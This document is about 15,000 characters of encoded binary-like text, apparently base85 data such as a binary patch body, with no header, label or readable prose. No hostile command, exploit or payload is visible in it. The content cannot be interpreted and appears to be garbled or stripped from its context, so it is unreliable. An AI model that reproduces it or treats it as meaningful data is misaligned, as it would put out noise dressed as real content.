zBE*mh3s!~NdLDtMsyC%*v_Z#;nsfkDuhKMdVzh@J#PN|6!r3zi!bsWdSxy0^Z1yat zfKJ1Up5>xUJb^|klvg1(1dnrnEjGVxh!dOM?JZ%d`TqtK)jBd)XEcEOj*cYIp6PTH zD+s6954=M^1~!4>VUGF8h%X^qIG?VtI(JCrXt*PG;k~(GI37cV=U`!0I!~LMHNmF> zc4Ni#=rUXu5pURt4_?a`eVltWtSQ5O%CBAYf13TyQYPCHK~Tn)17bZR`T_nKBQNg> z5^^K_!vRS)$BDHbM=Vd6Y%x@kyZ>HHlq8Iy$&tIv1Q|aL$oOH6Upd4`2_%WmS><2! zjFA0B6*_fd26wPw{oyefo7W6hkdIQ3Pu{BRela%deh0V%8*)G|dpS74eB(NO=9qeT z;4^j#mLuM-ryXcs8-At=QCEg;>X>fD@4ZmRg#=h#2+r$K;wb${FO zwoF@JU^iVh#S!14LQ%d8%l|f3ekjWiM)}(!D1Rf$mu|9s(KEghPX|d}5UU0GCGj!h zYpky~xjRI9ewkRP^IFWV0fKJYeAW28H9SyvO~|DB$3;rbzg4wJ!f+2uh5A3;1M4YR z>x44O`-@z+VsoNlzXVc_{RP`2=g2Yu8KxYMbMP2}GT2OE44dk<@_$@Lp21=PqZh%v z&~~zkQ}X!0MdmTOUu5>tp)YRD^3a*#UjhcYGKXvr-=)BDYj7$7&IP!p{l?S+1nIe1 z8lgx5F!=;;Li$0gRTRP+~{78~O#0y81zs|6R z&cGKgh{sa&H@bfk!DJor8au~p4nNWFw2LZTP{1!QJ_%nGfJ!5_I_ek;whI4KBw)Q^ z>mJp;ystTI462>ssOyW@fcncDFx}yneohF8smz8@@7y_l_z@~I(VfA##H!MZ6VR)C zoNG+VWqLwgFb!J6)5%6OSHQa)>Fo*q0v2G#i*JFEXV2$M1>Yf&ZZ`oV{ChNyir=3d zt@sUGqT=gWu_;FyM=SnQT*W8oif={50>9ZWu6CU{yAV~^qCV1J!(FMW@676hiPb+V zC+{h^A-n>2AHv-<4{!^@Y7Sq0;gIKWdMr_hOf4rf;@qA7(|M>Z*oPS_U$)L-j zQjNUIb4nX)k5r8e>HNhIS_~C_xWoL;LvUne1RiWC51)~LmX&4FE2xnM5CscLu!ZyDS_o`9 z9N$C-HW63{Y9zLysDU;vgKmq;FWY*dn}wgh;L5SGPifOSP-RKhUNjA33A9`*r7`>5 zk4NSokX}gHCman$Eoi$LZ^?--$ab2ZSn65SPdP0Ym1YEM>@mzo}lH zI`ecO8lEY&D+aYC&vNl-Hu-us`Fb|_dN%obHbOJ{pZO#$HcWnDu~JN+4h;KwY-WgV z23=$`IlX>LGaLTWMl-Lyf@Zd!qI#o!fV;mx?I-l+>b9CGV>8$3X1c20W&zkM#i|G)XtdXb};5WDy~W>qJrRrhraU!lnBCMe?CMPfiWLoFk*oN?gSQf;^*(bk;0|KiRsYys_GT z+~o-T1~#f1%8g++pNb6JV=lq)jlR3YN>rbRXX7hSd+TOU`{k1qwR;0O&^0?}{S@ge z`C}4Sk*TgjGn~Ip)-Cl?EnRTyPig62e@JSH>;M0&q3s5XH3nm3Rzn;8F$`Dn19%P_ z^EfHtXoKg#8&=rNkw23Gqjnvi02aT@>p8SyrnE#a=R6lpuIbh_R_PjF$f{<+xFHN- zROYAsE9j98F=>I7#y(;dIxWTny{kWjd2CulnGqlYxXq!?P0}W^oeZ$p5 za;43JrF;k_RE^&T(GO9R<|0xSQ)!j|&(p3|qY85^ub!1*l2)ZHP1rWFYlHfSDZQfl z=V{)=%o@T*mZ*waHH6V@?x$Go3BHD2C?Q{j9#zY|t&oITwIGOfxB-?r_-+8y!SIWf zI*pE73{0hfk;#V8t@qxx8lSOJ9REwFC7)^Wh)F;*qnvIdA7_zUehgp zqNtV=WE|9EOE;Sz`W#!=us!th^l+V0Hdk)|GnH@yIz~zd;Wjcho%2&j9Qkbx20 zZ^}UnHATA#noYa-xoXW8WuY6tG;YWf&GM^E+XnHE(WHkTCo&8>)nLdsd-lD<{7!)n zVaTuZ8DkG~lw~op{7xy301f=EMiU%tD|`%pyz?`f)RNq3rx@3lA4UdF8r=pcAqw=mf2Z7xT3i zj=-uyPw-QCvd=@kSeSOsbmD?*QO=nzUg3{(W)83L$2rr@EBtZJEanydIA{8Kg+I=j z<-Ecl=gcZzVV3bi)*iHnCtUO%j$c{kn&sq`3y)^uk6PxMmBTAHpW%;_Rrj2QKTcNN za~A$MS#{4@_~V?;`e#+af8wZHrgaCAM6=1lcVHc6q}wt1s>KUn9s4a8(!b>$*i2PI zy!e1;;=?;|dr@$Qci%f+u#GSp(YDPcW;miSE&%rO(Igsg@S1w+;c*U19a(LzDm77<^yej4uDAaR?pI7C)D(4l+ zGy~B`1;9-N;jWl$N^Zm?K{D(w)Ik3%c$ss@s0Y9(p)FgU~ouUi>q2_H~Eh z62;b0*?JNx&ZV7$CdRltp>gmjF33SZGtP8D#3{den!*M=!=*_7986w(ds!|M|NDKR zNp2q=yD?lKAvZnqIA#l&Mm5~A%*8JsuJ9o~V*h+2b~%hGQYF4dT+`i-l^wiB_q*Xl z?ciA1l}os%nO9B}5G$W#!vF`Ha2zWOvQESJ*>9wJbuXI(IPB>+2@F;fm8W&_DM_)%I zZ$BhC6`MZCskXh2m;1nnd*mpmiT`9H;NwM9xv<;5!%f9Co`Kl%yxxVRh%-;o>m#xk z8tK`Fbv_MCDFa5Z=aK_UUdTF%-q-7fANwSa(Fr*^-T!39x^oePK(K&Zeupa%dcEj@ z0FO+uMrpY*?;K~gn%5xIAWjFEJ!iyYI{aG@-CCd91i%HqAx}C)atqv)+rdJZ{W>8N zPERY+$-n2>x7*Wn=%T&&YiD=-!y$>NBu^E)ATay|-pLa1cmtK2NQ?>$e`VWc{L)iV$dP<$4wV*Ni0 z^`Ds%I~#0Y@Rw@_ch!vezh)Mv#D#vUmqm&A1NewVpx+k6KLpkzrAiDhr+L!0LFwU{e9P$?3Y3wf^x6}) z{uX4FnarPwC@cLC3y^$BJ2}vjM&(#d0Oa9h`LbdD=%`>zi2avBYvC zQ_2+vC-enltP8eq+RG6T)813T1*OW%#-1$YQ~Z;jEW?Ey(88)l zU09L5*kdT%M=`w=FU+Ry`&t_~GGn$`N#F7H46rRegF=`bAVFGt#;}n4@Sr?B+EO391p^Wq7T|HVYp~D(x0N@%U0LbnR1cbb5sQ^ zB~dXSC0_YUz9LU7m0v_1@;AvfhubPVR$N^zAE;%r=tK65{NKzc_$U0o6Bm3)!tBFm4JEma`uZmcq2>AH_PO650ad2Arl#mk~zF6+sau^L1Y z!LufsHt#|u(0&*%6%49*Y;j6#PtEGht5Tb+92))9s+h<#&ytFn-6EDIekoqaf}ml) zbhZom54t8Wo79L&a}2eOk2SIFVfz*TIJS5 zh0+*wg~x)Ky3QRAqCDGU?bLF9{1zGGaTv*?;u$O&(LCc4>M^Y2!hGN1vofn2!@8UZ z^Y7%dA(k2oR7J(!Am$C5y^O1gZ&WOGD9E!fu0Qt}F08O2YItcFl39X#*py#`6S)3t zlUuMaZ_;^#&E&%AxOd7+mCB6oGxa^?k@qfrPj2FUHt*3!uKX^NZ4i{49Jz0nFkHqf zy&%n+XC2xrI@ZJ2FnPd;&nY|xn~~H4HdSlnVoEjpAe-FzJK`fR&)fZtqN8#(mzmVm}%ryz%MX=l)w0?uv#ftb}vC?M=? zbL-qROz0|ZAQ`EJd2{SVGf5j*^O;B>&VHSkWWR#`E$9&sMdMBxOp-GxK0D>vB$p3tO}6)iuFduZpU|GMn{s@? zTWA~1!HinwvX{BZU%6gPRRY-GRQEPHHBgnK#&>o2nwTpDyx1G6g6)S`ARLXBiLe(R zwzMz4QxI!!o&h{<>!|S5Po8D``w^{vGrpb;J^)V=W>2tNAaBnEKPFXxdsMplpK4ke z*r3C_9N5Faj3xkzC@Cg3&>V~z%dtllq`GExOS**aR99t-niSa7{NL@G{|gY~90GTi z22Sh7v!_|Q@rq>NE>^&CbF5jSfKzEH1vr65?4PjM2_cV*_$V~a?cxiSIXxr3nlVU1 z0enFdNjIRqzU>2*=s1IdBRQVl#MkC?7$HYID>!YE|#J1 z2;!-5R}2Q>$rr(5S0L}<%YntpF0v}fxVvJfx$F)WLG-Vr*Wf&|99Rba5T*Bpli0V6 zP-SC^z$h(8y=Z#&LdzMwKj@)8RXtRU#iGkeKn;vo%&I6qGc#1tjSO?brw_@evHcTE z%w>f~jN9 zX2q8E2u=w160v;NKal4GJ<`b%Of%v{A*;rKgvalpRV?+nn0n#f7SnJQqpnWc~v;KzYE=`g-ego(U^iJtf!nU)Jj`Qp76t*Z-0QGVcv{A8JcGlp8|BmR+uV{r6T{pLL`h?E$vn`(9qOPDW7r0q*C+nj z-KP>#yb`lXIs=X2ajdM!$}Y_ho(tXsZh{`Df_pBN4vG$V0&9A*_xf^>*bTnK;gQ2G z6*}qJg#jlfO`xT=81dr7@#3#ZL0fo?O!&ZvYLXCaGXM1bUf2tc+P~AP0E@a&fh|&i z`gtTIMWLMLTQ#0i3+1vA5nE6jYe%BFlGrQ6rUCFdgy40^ABEs7RxyDymAG)7 z;o|9}LMuB$pbkpWWn9Lgt3=kvWu;Cs)^L6N3yh}G_3?Lb6CW0HR#X7MvIugly@!1T zB#>?RC?j2&fQdD`35L69M3dv5ds$&^AN~zg<1Yh#WKxMI+WZ z0zb#gm>``I&;O3P6_~3k-mg0a-}yqGOmq?w4Y{8Le!S%t@Z$~NCGdP`iN*7arzi3J zydr;;=kJ}J%=57x3HRS>wdNb)QG@2;o6*{VLkZk}@J5UKUCFKWP^}5~pQ2i`xL=Rx z3V-2dGL@DFtnfk_ik-d@TV{;VlF$q8z&IYd14fIF50QrGsQRweTZs69q1{Su{0I|}U^`<2PUhzV--qVxo?HyO|8Aqu1 zsT)!6pAIO5Xm~&UW3=AaZcjqU-wR_1**>!!gc$bYGh{^HQvySK+jrqsbIcsLi1P6V zLKykV9M0RJ_=B!Ra6}%Q0ng!E(XWs2`#$`jC;l|Z0*-mwBy9;agb(5T$yB#`^ojDX zKaUYhuiwC2Ws;K<#F)k=jJi9bqgmY?UcxZ&lg-_*7cktx8k9jN?H~?HS}+k12Frk? z+WiS4zN|rz1oHmnHsT1{O>F2#y@DXIp`WQtm2YVVO^AF?i8iDMx0Be?3A!acxb-Ww z#5+HsrJ<@NGQN3>SmY zkl&*ki<1Abqa*)UT|xft{eKYovHnW2ZI}LIQt2-%W9`vDUD2Q0fPT9_%=oB&P%B#M zbFQ@5pmUTB{tx8)Pg6nTC%#Rf@#aOAd~drcp2jbXj?wsatZW^T#wqfB5nDQ6x1+|)*Ce!bnQBQ0e1mE!O5mfEZzr&8p4smQ5m?60cIo@~f)x60D`)-f(6>hyq3_$5 zfxheZM&*0r1dFik$oKzLe{Z=KSl{q<0)5T9E&4{v;_3U(i(~Zt>h>Q>-(Rq$NxCIX z-^qT9zBLIgO;;@meeY5&{ZRVmbOwFL_Wfb>oecSEm%i_gN}+G$wj>6fY{q3<8DA{J*m9_{#C+zIr(`S>43Ulrfd z&iMSjJB7Z-$ZB0X@;k1h(D(RDLEjGFMCtorF=1+xzVy%N^GBK2P8nevs$(m9SR1fm zbPgOq+)M|2LAQAWo^a8uQGRuj0L)V5OJm}9-ryUtxEfE|I|%J`%{ty^z{@z=(Q`gr zAwB0i=|L}Ph>Z6Ir@}`mb6Zro6jfq$wWA|6df;q1zc+!`Z!nO-m!(?bG64N;TwH0C zU#SQQQ9ES;P(<3?hzK7{g^<5?pD(zvh>It?yuq)%!Eb!Qh&kZuudoR4T6@(orWFvN z5q8%+E(dW;a%iTR4e?h)9_>(P%oiQo%1=8iSM1}pmulQ6xuDt_;yVE-OZ$b&E7zEBpDXmDiz~k3t}Vw{?SW#MG>k`O`qkgHs@c|M^0R zyB5N|lPn=T@j3`0kwv@S?O35VQLfa0uuqPa3OW*st#VygIu6q8mnIcd;os@@;hnz) zhlLvRvDOAbDH`$JjOp|X!*vf!`VbhxTKNC94HCQhI8cZU{kI0_HWxIY`W&&m-}eSz zNru@1SAr4FzNG%dfm|pkCYzUtd0yJIp02woS%c}W;gZ24Bp z#BnhdX#Cq`pz*0lg4Wy~u(alz*ZfyB{_w^KS$ILkYlO4S=TO zSyx$fobb~D2rm)(p*`{GBgz7Pjj5#Ht{K--(m=mGzTj@AF6%%(FowN%xIg?WJ&%%p z-rxp=On8I4lS#(*auDfpOV;4h(ZN9{GDH#t10VHNt_53(K(dn-S|mFe{_|AMKPpC4q?#5bl_JtLXx6w2M5@CF)of8qrn*pFRe)5>*o1;cW`OHq6CP!-Atgxebp8%9{71Y zEshEyLW9zVimR>G6cNUut#r24QMaXu(CJEx2xlC9Taj4_7)LH8EPD~-V>HIMS&Hn< zLlA_P9!HI8$sG)qN4(S-1@$Lp#?VVWj2-$Jzav{?JXlV;L*F;zmu~6Jaop7I z_U4zSZ?~*M)sZC86((!cSdz7rr9)N{J8K;WC;RH}AL4rht2t5Ewu+E5zkLVwV)SQz zPOigXuo%q{cojCl4fEQ$T#g+Lv+_t34^ST!7Ua zq#J>8z(6T0MUi>Q4Me2fcCbHy>Az((tf}Y1VLtlufIM2kM~|yV@2E$=*4F$RSsQ7)i+(?{{SGKo?e~FKfW5OmNf0H^d`pzZ zPKGD}G{1*yMi-ptkNVHYV|nn0+3zn+Kuc>rRxN2kT6>u#NFPj!Z)y85X-Vw&&#w7V z_ItyA2+?1T0qp@ltbwEQudOXp-?!;s%Og;U{8Ge9X4zV7NE^gLejdoy%VTt^ZYZi{NfLKRo7;@JT zIZ2cjRO4mn8>}-<+3xDX%?Qv;ST^;Ao{%x5C^RSwp+}=n#5y5r$6sI8C@X@Qs!f)r zur1{EqToBG{TnWD>G2}?Fe9&Us*?*pfjo1FA3BAnIx#NGJa~1Su&Yol9x-$pMwAAO z4@khi>NAw)vyL2PWCsY}dW_lMd5p1`BOZ*Ktr{mn(ON+o%m(_L!U9Je8CA?1U5A;x zq!zf*^(z0KD&z~DJle5hYSxLcCvS3Nt74m-gxCHZZ*W^da8E%nf?Tz|u}ieQ{_fB5 z$M?5eTm8k}3M7d^q)g2Q@`m2;VcjIX`$4zn`4BcB655As;Ut4(y6X{OCF6&=+pT#w zHotYOVEEN2tPooMe})6<^&N0xK~`A|e>I1`2f%j>;%ebV#|>05*+cevH#K7WK`Zv> z_P{J1(cKF=M2^Rh9pFiI)-RF^%H9)f@>u*ViNXB{45)aFH;Rc1lyd>nt;uww|fz~_j=!}d+X-xJjrg01R(@Zrm-eZ`>FrZ~0c7iOmutM;*JJ33~(!tFz z6{CGdVJpnCiVF&iOPlip2fEID3|GIQ{fWE2Gw;FOOLA3*QWe#aepU}w0Wo07_)b}` zVkkFfT@;Vw@Ul2p0R-=kD|M==^$DH>bwmBpsPsn!(FIz6&}~Bb-Xp({%5+-A%t$Eh znG$YYkC*%hiPyU+5Q9zgkN@OhGcKS+81QEvw+;wHmCN}I6XiYfs{@)JkU>vN6)c@{ ziWTSZBuN#`%WB*JnR{htQDbDF&nRu>k~$Tb6br7UArQMs9qJ7;Tuf z=(aEPWL7mA^9Ei<+|s|j``-07eGkNZf-EbaAj$_Dk5JGD_Yl9L1Z+z^i?ZS$Q zsqMIk#&0y@1{%3nmX%-y9cSa*U#{}J{EwQK6EE4kSDJT&LQLj$ZgTr)McYSCEW~TE z`H_jeZ~aF?=hN7El^83j?-a43I`lonQG|^*Vs3-6s8?3~gsd~6c(4ai$6l$Osb*)) zHk5tLK%L`IF6k?Zf!2S!R5Z_198tjcPQ16E} z>?L?(B~k4DFW4xjr%~SJBSbCf@6^Cd!;}hCq8ke^{Ed{v?Gh}Rr}_@H2~2|qs^d**K^N`8(<@MAu}Klk#_BL2Ax ze;UZ_E*b&Z#vc-Z9`#<109r#c1eW+KK<)o(po=(sGGI=pI%gLd1x!gP{ z;L$z_x8ea8IS4-oa>!rJ26j#YKIV7D*$}yJe$=|r?c(uR@?L)(`!1AWe}J1C@;c+k z$0e8D<|!}2i-GgA8o9|sp=s^eXv@6&>eg1~oYv2V^4Uy0!`_IO?w48`@gw_{EkHQp zEeA*#@t{7mx2Sci1FHn=Jw5L1JqK%AnvNA3YiNTCf`j%R`Bjc6`tcP~6h3G&F8&P5 zA=EtdMEQcMJ&&Od_CU^tN?JTadEvyxbf$o)bn(i?E9^Y%IX#=7lft-Zch6EWUM6JH z1dMJpN#!ZKVgPF~?#+vz1WG_XrRf%_oi@6G|Kr>w)o33{5B~3Rll%kbnvQ>_vGXEt zSJr0zn*9!)tg{__0h<5@J;sLTbS5RWhl-o+>-L05hZY^i-nYEvPrBwLuP z`sgaN!Q+%!nrb4msD@vWiOlH-zgKA%3Pnh9{E+r;3Gg4^Un^PB^m za9FRgt-&gxa26)>l-J9jsn8U zDHvQ<-6OwhMUAK?2IE&&opP_XoltOy74r`cnF1G}3g()bf^cI3=90SM-6ft8!iQKl z3F=3+TsCC2O74_fS=LA9et@!^oF6ZhSO=)#Q`Um~4=?jQ8mX0D)J9XbQ1Nb*H1$Y= zV1J_%6xBV=A0Z{o<^g^p-#R4LF6OMDmzIAWRy}bmgrhQTYhNRzc>e(g3l#V4E2p#3&7z*%lgKh zwLbSE7xe3E%EzWY&v*t!$-9gyv_A|lH4>g815G^OM~2&cd7_4Tb9+#$7cr=t71UeL z0@UYdsQFD4>aQ~u)Mvrew!eI#OWW6LUsa&1G8uQHd=&Ke3w{LX-7L^|wg-o*fKQGmA$ ziUXYASb(FvIrsQDW*L_U*uDQq!1%K$9fkc?c&6K8mUyN%mtCP@rGGA-r8|2Ph^|>1}oDM+Kg{uI>OP)w~XNk@A^+t%xk}E9e3@3IQ zp+(h0^P{n;ZbftPpcF)h*Ti|d;xQZZZ|zk04S-iPewU(Q;&(ZI8QYC`W037KkW=lc zi(n&IW3IP#3(vQ9EFOfCK2U%OyK)emL_4n>CZ4kM%3Bzj zz?v*#1-PDu=*MpKCgt@cramI-VbN3_6 zeHXWS!mXi#JHX~$--UZ2tA*x}U<>aga$`49?NQ4OoY8SQQxCL^H9Ga8hhd0}@^p~E z-ca~b!S3)wFxY*0Utmt1x5;7=$ncd;bM0t#*d`xEH++q8(rW>ub zUdRk-_ikCzdE#^|>D;p|x}=jeP;+v45(=d9t@VWSOE(s8Tjd3y*6)W~vRC5K~$fH*WBfPf-ig!gB0NtMY`Z$~?h) z6-PZ&j86i2TYIA}W&LkP$q4ob-s{F2924osk9mw#K9WgrNhyAVYoHoQbb@l=Ge>oB z-ZN!V3fsVOO-iCA)=*kAJF{cQnVm~F<>QxiNc({~CAI|x=vFqq!S-$TkaUzw<5`{; z7RVb+;Fwl!wF~#6zenb?v*&n&bJ5vnS>8L{)%d!BKE8U}d6^sT?|XoPmSFUV}m{{+c>LqFIsu!Ush)W_?E)RZPMe zt@<9R8alnO*nFa`YMDPE9e@{wPAGzlyK_$?E@Rd^R-P+H(SxPQ^Ha52g{knGT7mYeYed$>g^y?Z}?0(s{M zoLsaf&dt#ZR29LnP#!(|c|vL88B5+y`~>p;bF3e|JkA%Av+B(*R!6x#OCCjG5{*=I zuv16J!k!vx5BA`8>NtI{g+zLwN&US`6@P5s?jo)ld+! z*Y?1=0M<=v|A7ba^0|J`xo)8!CI26D?*d*`b@cxyNHikx1QktHG-{M+t%6q~MiT@) z2NMY31;kdYidd};kYEtOzzLY+_GqNGMX-HSYn5K5O1WAMf?UK4pj8xG5#Q=Q#tRmU zC@uMYzO(i|IRUix>HGYjzmH_^v-e)JX3d&4Yu2opStAA|k0xb9KTFz`Lpp}mQR2zmmZi$ znMlJ%16;c5>91&6QOA~TeWi!;A56wgC!=lB`K&Ea!C~fdOVPF)1>ChwjiP-+c;eq? z&OJdpAd;v~d#r8NUTfQSBtjt8tZn2>9gF}#zMjAD=B;rpI_#@jv`1g%(<1*j?{;X9 z+ML;rbo;#SOP)%%hqnBJU)EQ@RxG2}^9{f~P&Y0c}t!!C7&&UQ#mm$(ogy=;5p9f6<9+Y0 zW>7>J4=?P!HgzL!WL#k#W|0W!k9{cb^v7=%X8EuF$tiKYD1;K%^WaP+?(;MEQsR<1 z4^zzK|J&f}` zCCVVDl@0v7*g)s>7N)1FI#z?ch;q{8RfvXwE%g<)woA@)-LId{))wf7XY7SbfW+P? zbQcO+`#2Ps_kuX}WX|tT1%+Qd=}_Q>P}ik(0)@!wHF$wF6h%AJ|?zhLi@Xuj+9X(!jX+|gOF$bc5|pLQJ`%nv)o zs_(JYWfP&z4|){N57NY}datS~>P@#(ssq%J@be}>TZ+wWFE`|uQ?`Aa)MySM|igZ6@kj#_0+ zxN8I#|G8!vgdy0oPyzY-OZ}t?cZeuZS2Je&%6ow`bYsh@mMCjf1K_8fcD*}@CmF(6 z*w(gT3|Fz8YB{pnVoBqtV=+K%H0#%xeBoLjMbK5t;;xe$< zV_zePD)KmuTF1OkKqWYY?4!B29&DQ$Pv=s6OjB#AY%0apN;gy3c829MSKg-cU(o!& z#i?-aGx9DHbQMl3=KtdiDx%jGAr%kzHke;W+4SAudX7@t^Z^2h`SZzO6C+4&8gy3s zZlAnhC{a%d|CLYK-C-cP{?Mu3g9?d%KX5cuJsRy16Vb4I|D&^mfipZ8g*+cw&xidW zDwzfl^w!rJKCR#WGI8FOg_?iBV#na6d@6C?FLSt@a@wB5C4d!93V3eP6k`S%O2h1( z>Mv(ZV;Tv+l`S^Vrc*y>p-tj99MPt9BiYc=Q5$~)N?xu_wH^>%y5sMOROs z4KVe8Q|q71&&)r}!csASroQ)aroBS;iT3j;{?IjTpO6f4=Zia`#117-G{(fV7&V88 z37;%#5e?#XRav#r`&&q?tQy?etE&9t&l0UMKy`vkMZo-};4FC{0Fn;^pj0+9b|CX`IcupI z2o8twl{k3|Z?%uxqAS0x8{iu=PV-yrSCMplDyV9_8k_A@X7`!P3MyL6GcaWIku{lx zq&sMWRPQbQi3u1iUKPHwLN?qDC}FJz`C1^wOaHb1=x}Z`wzDG^tbyM6Vq1UsyUqy4 zKLa$Or5B1bYem%a-Yt?3ea~eYr2&piW(kRx{!(zY;I<{bzbF&N^m^(?E=*sWu?YL) zW;cSJOzCKih?ib&;Is%U^lx&ooSH-)FIp&~RC+_J+Lw*e%2roY9WdPW&Uyr}cKyT!l=UBL(wrK1HL~1)Pfe#7&Wf2=^V!vuh4Bwl^_jeM$UY z+j@0r3tvg(>1)QW#*R#J;aohDZgc%^dma7(8*NUj8K4@hEClFK(;<7-^p*7l{78M9 z43U7HLCE+Mdk4}K{v;kKgDJJzSASPJ`&p&;P(8mY5_1HE`LFY6#!t=R72X_iWM$$n z{ttR-6?sBs;wBtV9x^^95n-~&Tg01JI6>yG8>F^vuH^tq2flvkJV~NRLj!+BliB*U zXyh@d?FT=u^;l_yOYfG{$Q(Y{gB8-W|4%5w(v(oO_KpZ$r^9}6l0$kc^Uq+(pRmK9 zbX~}%+c{Qqle+yssTvkaU0O&^(>1mGW0Pq@Y$RTn|Btn-Sxuku4uUByzLp)v4--=R z;)Vab{$M;tz49t&dOh-K><)B@61MLbS!64J;ei3CSpJ{83nJ5BGmLKQ#i3e$a1<$v z{=)csWR=@pSbOwfuj>J^rTvFoG5F$P{j)1eHk3#1=fJ<+g-xydmoEWWR&Bu`@2mr& zPY2&XfZb)0`&Tt_4)2aJmUk50#?f78-J>pk!^ZD`hPAal%Nlmn9xnkKet>byIRxn2 zPW#<@J73h?>immNDWSuXIq||m(~l<4cXRQjYEm-qjPKiA%-usLeZ@%rPr6h%U~icr z6JIpx6i}wVuX*U`l6nx6x+XEBtJq)TUV5x#hNe?-eL?U$JXa^;n zx!094H9070W?vLZ5eJR0P+P}T=4h_t8>&$L$T*m&=GEf)eB}>1CmDJpN&G20#%Y$n7FG^ zsdFmv?X2{2`;(t8^-pW798DOW&kxe*d%4Nq)vMG0t$Yiugy{Gl3OkxRN4v{o;J&k& zg_1cFA3iCoe91vzs}1cctq_E||M>GqLS)tqkwu3{>s<`GZ1VKhzx~w~ z@$GCgDkVK1F+N$V!T#LyKhBt_k=&?%*4PyKb%4T5utHTE4BX+K3!Dg_92^ zT&|HPIHbOHo)5{hKPzKI9P+YL!Ss&ROMblct$#8)bgIf3{y&N{w7^aw`pS?SR+i8r z?y$|Vgd@u;CIbQA$I9080dzEmXVvb?xM4&0_=bv?`Zm%CA z`!@E?0~d$(^;e^DQdL#`(&bcw*6=Gmh%Z&mC{vbF0tTFI+=Ae<&wpsfgZMIOX)JTF)ZgPus_2O zfdV~@iaN!-x%GS$^Snkb{@EA*)2wterdaJkSMJe-(XVDSA-SMv3ndXB7w~VY1kF^5 zn5hyjQ_J+HN`FS{54uZeYQsZSxH7jo1uCqn3~H5))^~xhn||#vvM-E!MEap)NM07G zFv7f$EC1Vlad;04x-MvxvKIAbiw;q*zFC*VyU}F&Tu07y?8e!V`8v|En+}i6*O89h zba-UGj&$s%!z1%`q+>T79+|Hr9lPo9$b22?*iDB==HJSCtlLDI_6(MK>_C40#@*_s zh7YMO>?REh;e--;Was^K2mwK}{KlNc)OO_vwjf3ygVDbX_x2bYyO}Jr?Uf9Ahb-eQ zv_bTA)@S$Kda&A+y_HKU(Ze*8^B|@uuwaj zH$r5u;Wyn0#LEj+ezbk%&R*=@*0%A>N7(-*tS_(S%isKeQ@@S;EmI;yO0QthUzSz- zA@c)z*oT!fKGcrC>)A^0Hck=fH-hEb@n3ycj$R*?~=1BTMrLosHUx8d>CThcv^Csc=RIiXp^lnZJ;97S|rwTDmIEoQN*8V z+mIG(9y97540?X0W6%$Je8jAEcQ8&LFkG1!=82QN2R7-#&-r$JCc1d@SqopA{@0@} zLKTgE_C81W9ik)bq9?zx-+e87gUr2OpL%9Hm+%-Nrse#m?`V3Hed(x&q@@I#ylhD6 z-hq$ibF1PcRF0RPv0Y0UjB~CRrO68xXQZW{Jidkp{-9%}p18NM1db{?IBEjQ1`6kN z>5=@8Sem{myiH73IT6QN>rEwx?8P`R)bkx7GdmBB#E+tH7{xv3vPWC8lQ3D6!rdeM zjx6j-ctT*`Nao!A#~x5IYRz`G66gd~ds<{X;IXEIt8^F# z*{!uYn7}uz4sL1E>OhMy7cJ<|ZE?j+=Ye%h0*w5M-|d5$(+NUpx=`{lDmtu{522J_i6d@`IO@rpj`(e zl9t!{O<3jXeujeXl}_Tqs9g;q*pZM0`$9rEV&3CrG$Q6LjdE#X=OMld@4}a4v%lvU z#dvswIpERL7?IlFZrL|h^H^EV)oAs<`~KVL$4oY7>?uve>h5D#cu(oldbdi5l&k9J z@fWwauNFtCnQrSOTJpKAfnTJpx#>0V^3<`~InmC_>r;+HCp&cz@Bdc&VH39N=j$zo z@dYl>;)!-zc-+?4m1WiD;X>2By!C2aXg1b=4|0t zymbGMO&PB6X6akMfRwOiR@GSqW>%GH^8ZfZw1(wXdPUFCu2YL@Kh&i2zbpi?-=t2b z?fy9oUB9>foXVdj+cGjwdG=>^YgrnurcxDqETmk1n$KuPu!br#8v$xV0bCVt=EWF% zi^h~k2CSE3=c)Qb^mm!FPDYc2$EO1T?)^Oq5dK)xDWy8AmJQ_2?{lKX8*qG${IE{- zqu(}3QT_*sG8~0fV;^|@qbwo|&Qe*R_DVyY^zO&fO=~TBqoOOK=HdqdfH#2qHg6&2 zByucV=B7h1T*OzF$$pO;#F#{RbXEDF>@kUHjj$RQ*^X>@>LbPfh&GBU@aO-l1F7DY zW4qRO`RVmtC0bhG!ai0aS_0TaHBvIL?8VIrl~sEOf~%0je@Ted#_5;d;4&T*L`w#j z*?JD^`F9Y2JN={H(=yH#cFQCO|(+BEbanqD#2HT?o3Q{LUh8BMS5 zM$@OQ6lSbnryoyq**~K{?%dx}Nxop+;@npwi^`)Cj}HBj#r~n^A{UW#JE2lEu@(JR z@r4}I?9M(Pm#@1*9*yIVJNtZ`bYwgGd|a9Cq$BH`=KS%f4Bf`D$;Ih!B2V&a`WS_h z`*`VEhFVrlPx?D+9cGihnxEV2HN{h9g0euNcd>KlBI<@`IwQFRlg@_}yAa6MlIvBv0mDew?gjZ^ z^XuH##rm4|i5~vk@cZ?h^}XvI{Atm(vK0j<#2bfR(?AxD4eA=u7exOTN3-rzd=cwH zm)jtCan~t)rKk7W=MOrA^RyL}8KswCrvTxXSYMGi%6)!C#^_fdz z)AlTYvOu$r*ZRzLyw+!~!!K#>x_N;lao{sFF0)r>pjBLS|>7rkH z1N;C#f0h>K>NlPG8a^d{@yOuu&+PG6x9yg11|OSr3fos#$+>lQhOSTn4yIPm!Z^6C|2~7=1uMq3xNX= zDuenWvS?y-49{M)_v7r_T!Zrm)0B8s;C?pi3w~~~FB4Kpq}KWN6ZdBB)j%wQ0C6rq z+*4ubH*<-7ldo@*IkkU3f&7d=vUw??M;RJyBAPFLl?H$&%TnQh_oPwVu7_}zx?^A% z(yCH&ML65mI@i`q+S&a+;pg9=jJ823e9I*ZR8T(VVPQ^+!`Q_>3D4!`f;L{rCJAk+ zMkT&KaFD7h)_oS=pzG7NxGH2E|Pw-M_J9j{<);GHytIF#17rT#;W+d#m=}|ihv9z z-xh08d(MTO_B+t7nUo!SjV}{}H1bX^^9uPIi`j*yli!(A^{(c=WcLIo?$<4csD z@AcsXu$$%laa&YbdYT11zALYGL~QX**H0?EzOMS3iju6_L#Nf{-ZJ6FAJlfKuj_hC zq#?<7vBlrNW7w$}B3TnmAdc`rR8jVoOLI*$gJ|G@1es5(=4AlT<~4OK7Z7r*bDA9HFi z$+evSscp-*@D2JEv~lbdMyZd_7s2a!ipWwR!l{r70{tn;GDiJe%2;4b;99#>K8 zGa#c3p&R_2i`D&Pf{J=_TrGL&Ry@_eXgxxQW+u;`!*~84m*^A0(=4l4mZ{jI#QId|H}B4$^3(ZjlE4Yg(HY&XJ_L-QlHk-h_{npCubIkUBj?4|_+L 